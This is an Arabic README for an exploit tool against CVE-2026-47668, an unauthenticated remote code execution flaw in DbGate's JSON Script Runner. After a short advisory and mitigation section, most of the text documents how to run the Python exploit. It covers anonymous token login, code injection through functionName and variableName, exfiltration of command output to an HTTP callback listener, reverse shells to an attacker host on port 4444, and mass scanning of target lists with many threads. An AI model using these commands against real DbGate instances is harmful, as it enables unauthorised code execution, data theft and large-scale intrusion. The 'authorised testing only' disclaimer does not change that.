
تنفيذ الأوامر عن بُعد غير مصادق عليه في DbGate
| CVE | CVE-2026-47668 |
| الخطورة | حرجة |
| المنتج | DbGate / dbgate-serve |
| المتأثر | ≤ 7.1.8 |
| المُصلَح | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
العنوان: تنفيذ أكواد عن بُعد غير مصادق عليه في DbGate عبر JSON Script Runner
يتم تضمين الحقول التي يتحكم فيها المستخدم (functionName, variableName) في JavaScript المولدة ديناميكيًا دون التحقق السليم. يمكن للمهاجم تنفيذ أكواد عشوائية في عملية Node.js الفرعية.
| العنصر | التفصيل |
|---|---|
| النقطة النهائية | POST /runners/start |
| المصادقة | مطلوبة Bearer؛ قد يتم الحصول على الرمز عبر POST /auth/login في النشرات المجهولة/الافتراضية |
| الحقن | functionName, variableName في أوامر assign بتنسيق JSON |
| التأثير | تنفيذ أوامر نظام التشغيل كمستخدم عملية DbGate |
التخفيف: الترقية إلى 7.1.9+. تقييد الوصول إلى الشبكة، تعطيل المصادقة المجهولة، تدوير بيانات الاعتماد، مراجعة السجلات بحثًا عن نشاط مشبوه في /runners/start.
تيليجرام: @KNxploited
CVE-2026-47668.py تتحقق وتتحقق من صحة الاستغلال ضد مثيلات DbGate التي لديك التصريح لاختبارها.
الأنماط
| النمط | شل عكسي | الوصف |
|---|---|---|
| AUTO | لا | طلب واحد؛ رمز + استدعاء HTTP + إعدادات افتراضية |
| CLI | اختياري | تحكم كامل عبر الخيارات |
| Mass | لا | مسح من targets.txt |
--reverse-shell | نعم | تحقق TCP اختياري (هدف واحد فقط) |
النتائج
| النتيجة | المعنى |
|---|---|
| FAIL | غير قابل للوصول، فشلت المصادقة، أو غير معرض |
| VULN | قبل المُشغِّل اختبار البروب فقط |
| DISPATCH | تم إرسال الحمولة؛ لا تأكيد إخراج |
| EXFIL | تم استلام الاستدعاء — تأكيد إخراج الأوامر |
| REVSH | تم الاتصال العكسي TCP (النمط الاختياري فقط) |
دليل الإخراج: Nx/ (vuln, dispatch, exfil, failed, list_report, ملفات لكل هدف تحت exfil/)
pip install -r requirements.txt
يتطلب: Python 3.9+, aiohttp, colorama
python CVE-2026-47668.py
| المدخل عند الطلب | مثال |
|---|---|
| عنوان URL واحد | http://192.168.1.10:3000 |
| عنوان URL + أمر | http://192.168.1.10:3000|id |
| قائمة أهداف | targets.txt |
يجب أن يتضمن كل تشغيل CLI --cli.
python CVE-2026-47668.py --cli [options]
-u / --url — عنوان URL الأساسي للهدف
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — أمر الشل (افتراضي: id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — اختبار الثغرة فقط (بدون أمر)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — متجه الحقن: functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — المنفذ الافتراضي عندما لا يحتوي عنوان URL على منفذ (افتراضي: 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — استخدام رمز Bearer موجود
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — نص تسجيل دخول مخصص (افتراضي: {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — مهلة HTTP بالثواني
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — التحقق من شهادات TLS
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd)--callback-host — عنوان IP/اسم المضيف الذي يستخدمه الهدف للوصول إلى المستمع الخاص بك
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — الربط المحلي لمستمع HTTP (افتراضي: 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — منفذ تصدير HTTP (افتراضي: 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — عنوان URL استدعاء خارجي (يعطل المستمع المدمج)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — ثواني الانتظار للاستدعاء (هدف واحد، افتراضي: 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — إرسال الإخراج بدون ترميز base64
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — exec غير متزامن بدلاً من execSync
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — ملف قائمة الأهداف
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — العمال المتزامنون (افتراضي: 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — انتظار الاستدعاء لكل هدف في المسح الجماعي (افتراضي: 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
المسح الجماعي + منفذ افتراضي مخصص
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
غير مطلوب للاختبار العادي. استخدم تصدير HTTP (--cmd) للإثبات.
--reverse-shell — يتصل الهدف بـ LHOST:LPORT (حذف القيمة = IP الشبكة المحلية + المنفذ 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — المنفذ عندما لا يحتوي --reverse-shell على :port
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — عنوان الاستماع المحلي
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — انتظار TCP (افتراضي: 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — ترحيل stdin/stdout أساسي بعد الاتصال
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
ملاحظة Docker: استخدم عنوان IP يمكن الوصول إليه من حاوية DbGate (مثل بوابة المضيف)، وليس 127.0.0.1 على جهاز الكمبيوتر الخاص بك فقط.
targets.txt)# تعليق
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id
host|command → تجاوز الأمر لكل سطرNx/list_report.txt| الملف | المحتوى |
|---|---|
Nx/vuln.txt | الأهداف المعرضة (البروب ناجح) |
Nx/dispatch.txt | تم إرسال الحمولة، غير مؤكد |
Nx/exfil.txt | استدعاءات مؤكدة |
Nx/failed.txt | الأهداف الفاشلة |
Nx/exfil/<host>.txt | إخراج الأوامر لكل هدف |
Nx/sessions/<id>/summary.json | ملخص الجلسة |
POST /auth/login → رمز Bearer (تلقائي ما لم يتم استخدام --token)POST /runners/start → تشغيل الأمر + استدعاء HTTP (أو TCP عكسي إذا تم تفعيله)لـاختبار الأمان المصرح به فقط. يجب أن يكون لديك إذن صريح لاختبار أي نظام. المؤلف غير مسؤول عن سوء الاستخدام أو الاستخدام غير القانوني.
بواسطة: Nxploited